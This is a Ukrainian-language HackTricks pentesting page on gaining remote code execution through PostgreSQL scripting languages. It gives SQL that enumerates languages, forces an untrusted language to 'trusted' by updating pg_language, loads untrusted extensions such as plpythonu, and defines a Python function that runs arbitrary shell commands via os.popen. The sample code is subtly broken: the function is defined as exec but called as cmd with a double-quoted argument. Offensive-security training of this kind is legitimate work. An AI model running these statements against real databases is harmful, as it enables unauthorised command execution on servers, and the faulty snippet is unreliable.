RCE з PostgreSQL мовами

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

PostgreSQL Мови

База даних PostgreSQL, до якої ви отримали доступ, може мати різні встановлені мови сценаріїв, які ви можете використовувати для виконання довільного коду.

Ви можете запустити їх:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Більшість мов сценаріїв, які ви можете встановити в PostgreSQL, мають 2 варіанти: достовірний та недостовірний. Недостовірний буде мати назву, що закінчується на "u" і буде версією, яка дозволяє вам виконувати код та використовувати інші цікаві функції. Це мови, які, якщо встановлені, є цікавими:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (будь-яка інша мова програмування, що використовує ненадійну версію)

warning

Якщо ви виявите, що цікава мова встановлена, але недостовірна за версією PostgreSQL (lanpltrusted є false), ви можете спробувати достовірити її за допомогою наступного рядка, щоб жодні обмеження не застосовувалися PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Щоб перевірити ваші права доступу до таблиці pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Якщо ви не бачите мови, ви можете спробувати завантажити її (вам потрібно бути суперадміністратором):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Зверніть увагу, що можливо скомпілювати безпечні версії як "ненадійні". Перевірте це для прикладу. Тому завжди варто спробувати, чи можете ви виконати код, навіть якщо ви знайшли лише достовірну версію.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Перевірте наступну сторінку:

PL/pgSQL Password Bruteforce

C

Перевірте наступну сторінку:

RCE with PostgreSQL Extensions

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks